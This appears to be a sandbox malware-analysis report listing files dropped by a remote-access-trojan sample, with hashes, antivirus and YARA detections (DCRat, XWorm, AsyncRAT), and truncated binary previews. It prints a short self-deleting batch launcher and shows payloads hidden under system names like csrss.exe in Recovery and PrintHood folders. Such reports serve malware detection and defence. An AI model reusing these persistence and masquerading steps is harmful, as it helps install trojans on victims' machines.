File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Program Files\Windows Security\BrowserCore\en-US\886983d96e3d3e

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (397), with no line terminators
Category:	dropped
Size (bytes):	397
Entropy (8bit):	5.869150935958587
Encrypted:	false
SSDEEP:	12:p9qTU8Mjdq2vzhGzdMGvXIcQB4jBqixleri0aG:pgY8L2YdPvXIcQB41mtaG
MD5:	0B6D8E06E0056647E26E959066231093
SHA1:	4B886B23005D9917CBA9C96C8931FEC5AD75CD04
SHA-256:	520238DD32AC860F8181775EABAE5D8DF3192E85F1603C53B310D0D5DF1BED1F
SHA-512:	D7C08489258B79CD1F2EF0C4189197845E1FC56C4C887ABED197CF5586A42FF3A0FFFA040DBC6162A6F47096EA71C68808A6EB48342B1CDDC20F092986E14BA3
Malicious:	false
Preview:	hr0nDlwwt7r9e4s5FMTV2DIqmu5mcr1viRbsYxBQZTaJoX6Gg4wQvCfdjJASpKUCF6aNcAhSKC5in8COxzFi5l9gv7JOxslP8YEs6sngWeFsH60lHvf0FwHe64cf1SfcbqjO4TSFLjLbgQYyGiHBNuKMQjvCQIpD8nRaWlrxdaogkq8pfnYTLdOqgX8UhQyD3Ic298be0ThxGolklGgmuV1fYk49nXPNlkmcOFqhM3c26bk2vXsbtMTiQ7eZEc1dDTLfCJVgZ8Z139i79BOPpyeYREMRlRduC8ymPE0lCLCuxcoQYgZCOlyPzxO77E5Ifpy5K5r5LmNdwtlzZ52E1bgbJjxc02o7P3PHntGcze0lXUdGLZiBL1QEJXvkIPFT7QO2deLqyZPXk

C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Recovery\886983d96e3d3e

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (406), with no line terminators
Category:	dropped
Size (bytes):	406
Entropy (8bit):	5.863202804648079
Encrypted:	false
SSDEEP:	6:WahQSoN3j5ZydbciIJvHceKUSEtwyxKWQ8G+ISKMkIgq7gDjuFfU5gU:phQj1jXIbrIlRPrtD4+RKMkggaf6
MD5:	1ACB1C56C7D4020017B12AF461CA2FD2
SHA1:	6B1071C65C4548A92823DC1AE79825D1CABF214D
SHA-256:	22F60038268311BBC7120F9832F8A1F46E9FA170FEF4207844C180C321D97BC2
SHA-512:	5AB0F39E1C563A2B02C47784D7C5AC948DD86D6B31B01FFFEE98FE9E7400E7DBC7863F2359B94184321C5F3CC7AAD861BF1972FFB0DF641FA41053FED71856CF
Malicious:	false
Preview:	E6xRdi295HaBPSPbQTDzCuFdpYWLr9pRyMeHUYFCmAFzdHhzLviO3pWT1UlFMrS5bIMDxIG2OANBoQAh1gA6baYJzKPAw9z4sJXV5dBDoqA2cUplTDOprVeAuCOn2GFPLSTf3pmXf6RuafrefoqtuKNWpWl2PXLilvrJBJsob0JuEukOVtINZVeAE60gEtIHvtJpyhcV6CS4AdS5wWhfP8JPRqFFTLkrrC9Uk4ZxQwQWDj9kn5urMn1xk3YHcXBvckM8e7U17uOdrwMrrfcYa3fEKMurgSV3vf4cXAGpk3tbYYFxrra64mUjFHySNmUpZUsM1tTqYwxhJDqvG6Az1Y8IKVXPMxc8iECDq258XtiIyxaBbDLQmfxAWjBgVDekUz8EAmENACbIz0TX5VyImL

C:\Recovery\csrss.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\6d03130ea54d38

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with very long lines (566), with no line terminators
Category:	dropped
Size (bytes):	566
Entropy (8bit):	5.868992207806771
Encrypted:	false
SSDEEP:	12:LzjP27pQ17qLyxyEQ1S2WMRhcX2+18dTY1oKOnhlplan:LEJLyxNT2VhcX29cXOva
MD5:	2258D92E44BBE3DDC88B66D2BE98F27E
SHA1:	1DB62E5D1E686F42F9452D88C664624103F9569C
SHA-256:	A0F74A2E8836D9E05F0E63DD074E51F2EBCCEF0A3AE0A096C3C53AF14C05D5C0
SHA-512:	9B6E6A480AC1239EB81902B10BE65EC1A788D872DEAD16CC5DAB0DA255C9B6ABB01B87926DF92FA3BC66A2224BA5E4C28AF5503DF6724B4E5A59F9094E38B41E
Malicious:	false
Preview:	SD23eOHXjhAWs0yMm1HfMsKvwBiHYAw1lVd0fboO7gnqsMrdQkVeirWj2HGcp98jvJuXX7qLN2iqFeDjUF1xoRS3948YVLj7hD4jcUFS4KQqJqdYEgIkIL4e00Yd9S0CTlIBjdHA9i3eAluTajUyD8yWJatl5mSmUOXihbzkZHljRZdOFFCZ7B9Uww2IufEWQRKvNMv8utZ5XOEt7ef0j2oSPDvujq03DOT9PrA3TDpNmD7irILP9NwXn1gKbBZD2f1J4EePdmhgNaqLFMDbfk30b6WXLzcSolVGLynmo6wXpQJMLUFO88iRlBr8sGDnKP1lFj9RjawjygKKxKL1uNUqDDfKGp4i2INaYhGmUxphL9dE1hKh4M265LiCEzK3fOqqTuvPDjh7iweEkaTjeXnqQReN9EhemvC7SxvHv5eUo5XJqecoglYIkAZCPiQ8BCUwuhvwoMyj3SBU3Vgem37BX3WRXs1MpfSmklYJsp9UxzPR8EJ4CvWIETZ0KdZ6Ul3XAZuR6Ww63nOhoETSj7K3IKhRMi8OPD9L51RjU17p9ZObE2MGKH

C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1271808
Entropy (8bit):	6.974484340050101
Encrypted:	false
SSDEEP:	24576:whRV3k2rJm5LCipfsLZeXYzVt39upvFHmWeNxQklxwwRwiJ21nnw+:whwsMc3xHulstzQkl2wRvJ21nnw
MD5:	8F04E3EE4A119F4B39412E27CED12DE8
SHA1:	6E90446932E03216AFD391499D7407687E362FA9
SHA-256:	6B994DD60BF5C088925A2E28F6864ACDE54CA8B8CEA576470189D1B469A39FF7
SHA-512:	910F27017296DA9051E872D008CFFB5FCFD23CDA69BBA95E60FE94C34A4338B00462FA29C91C04B31E40448FE0B5F48E4C7A5BC2010167B75E086E88B4A40D6C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....rb.....................6.......L... ...`....@.. ....................................@..................................K..K.................................................................................... ............... ..H............text...4,... ...................... ..`.sdata.../...`...0...2..............@....rsrc................b..............@..@.reloc...............f..............@..B................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Memory Compression.exe.log

Process:	C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cmd.exe.log

Process:	C:\Users\user\cmd.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\cougif6lqM.exe.log

Process:	C:\Users\user\Desktop\cougif6lqM.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	5.389928136181357
Encrypted:	false
SSDEEP:	24:ML9E4KQwKDE4KGKZI6Kh6+84xp3/Vcll1qE4GIs0E4KD:MxHKQwYHKGSI6o6+vxp3/ell1qHGIs0K
MD5:	7F03B15120D277413D7C08047184C8F5
SHA1:	0A6EEC1B9E6BB8FF846D21F7575E78B29C42A00F
SHA-256:	18E01DE8BB5C3C111EA89C01A4D28F1834BB02E26C0ECD86D8CCAB3835C79B2C
SHA-512:	8995C0BEA34B69FFEEE03FBB332223AB95502938A4789E64CBE8329F596E43C74676FF4550AD4F8506AAF6B955E6F8A5BDEAF1A5B6D71275D265DCE2D5478754
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_6

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe.log

Process:	C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1281
Entropy (8bit):	5.370111951859942
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhPKIE4TKBGKoZAE4KKUNb:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhA2
MD5:	12C61586CD59AA6F2A21DF30501F71BD
SHA1:	E6B279DC134544867C868E3FF3C267A06CE340C7
SHA-256:	EC20A856DBBCF320F7F24C823D6E9D2FD10E9335F5DE2F56AB9A7DF1ED358543
SHA-512:	B0731F59C74C9D25A4C82E166B3DC300BBCF89F6969918EC748B867C641ED0D8E0DE81AAC68209EF140219861B4939F1B07D0885ACA112D494D23AAF9A9C03FE
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\providerreviewdhcp.exe.log

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1830
Entropy (8bit):	5.3661116947161815
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKkrJHpHNpaHKlT4x:iq+wmj0qCYqGSI6oPtzHeqKktJtpaqZ8
MD5:	FE86BB9E3E84E6086797C4D5A9C909F2
SHA1:	14605A3EA146BAB4EE536375A445B0214CD40A97
SHA-256:	214AB589DBBBE5EC116663F82378BBD6C50DE3F6DD30AB9CF937B9D08DEBE2C6
SHA-512:	07EB2B39DA16F130525D40A80508F8633A18491633D41E879C3A490391A6535FF538E4392DA03482D4F8935461CA032BA2B4FB022A74C508B69F395FC2A9C048
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\8o9UezPTg6.bat

Process:	C:\Componenthost\providerreviewdhcp.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	225
Entropy (8bit):	5.259747938023626
Encrypted:	false
SSDEEP:	6:hITg3Nou11r+DE1WD5TcL+KBTuibfDA0SKOZG1qLTwi23f/h:OTg9YDEoTdKBTuivNswZx
MD5:	876CE5904FFB2069A04FA30DB6431AB9
SHA1:	A1DFC74A30922CAC4207A4977909FB6B01B2E28E
SHA-256:	991DE81AB902A85256ED98E1EBFF204DA30475FCD266D94502A2A9AE8A5E88DC
SHA-512:	BE66AF9371D453F3CB5EFA6FDCAEE2BDFA84F964BCFABC5867B5F8A34F1317A3D26451D6B3AD1AD756F4106DD81BBC30E005B7CF315B696F6C58D4127891B91C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 1>nul..start "" "C:\Users\Default\PrintHood\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\8o9UezPTg6.bat"

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Process:	C:\Users\user\Desktop\cougif6lqM.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1588999
Entropy (8bit):	6.987851842831063
Encrypted:	false
SSDEEP:	49152:UbA30EhwsMc3xHulstzQkl2wRvJ21nnwY:UbAisMCYdkfRJ2RwY
MD5:	81A0B6CE5163BE692566FFA70F8E9839
SHA1:	342D49B98D08F79B5A41682231C79ED0E3403B5B
SHA-256:	86C4DB18169DD82595BA107500CC12EFAB51DE2F52B62168303ACF58C1A973A8
SHA-512:	C130051EE387BDFDDBB0F82D79847F188DD340C9B3A5D9D48BB8D02DAED743C5318DAFD3B8CEDB841CAB62EE9F27DF60EED6ED1A4DD8726AC433CD268653E69C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 70% Antivirus: Virustotal, Detection: 59%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......b`..&...&...&.....h.+.....j.......k.>.....^.$...._..0...._..5...._....../y..,.../y..#...&...*...._......._..'...._f.'...._..'...Rich&...................PE..L....._............................@........0....@..........................@............@......................... ...4...T...<....0..........................h"......T............................U..@............0..`...... ....................text............................... ..`.rdata.......0......................@..@.data...(7..........................@....didat....... ......................@....rsrc........0......................@..@.reloc..h".......$..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4wgpfxad.alj.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g5g4hzlx.adf.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kmtwu2nd.mxn.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xobuqxre.cok.ps1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\javaclient.exe

Process:	C:\Users\user\Desktop\cougif6lqM.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	151040
Entropy (8bit):	7.524350777165646
Encrypted:	false
SSDEEP:	3072:XzVO5Hwt4nbrdu6BgOOUb7JoWzHdcIpR49mp83n7Se/suQTvYag:XzVOBw+nbdJ7rzdcaomp8X7fs7vYa
MD5:	2F969595E0DD360ECD52126BF5ECE5E5
SHA1:	3560779C522DE4D8C411EEC8D9AEAE9E2EBCC259
SHA-256:	3C3A282F4B43F7B8409D4F4E566EE2FDA7D0EF6E60675CF43FA2896C81F5BD6C
SHA-512:	0553AD101B6A83DCE08D4D6EBD413FA0C19B2A7F3F67C54CB0FEC2EC820A52F9BC224A0EA958A0539542869433D2CA5404E6BC01278CDC7BD6903945C279A01F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\Temp\javaclient.exe, Author: ditekSHen
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 68%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f.....................p......N.... ........@.. ....................................@.....................................K........m........................................................................... ............... ..H............text...T.... ...................... ..`.rsrc....m.......n..................@..@.reloc...............L..............@..B................0.......H.......0Y.........&.....................................................(.....r...p. J.....(.....rq..p. ,-...s.........s.........s.........s..........r"..p. S....r`..p. .t...r...p. /6...r...p. /?...r...p. &m....((....r2..p. r.d..rp..p. ...&(....&+..+5sX... .... .'..oY...(...~....-.(D...(6...~....oZ...&.-..rt..p. ..i..r...p. X....r...p. p{..r...p. 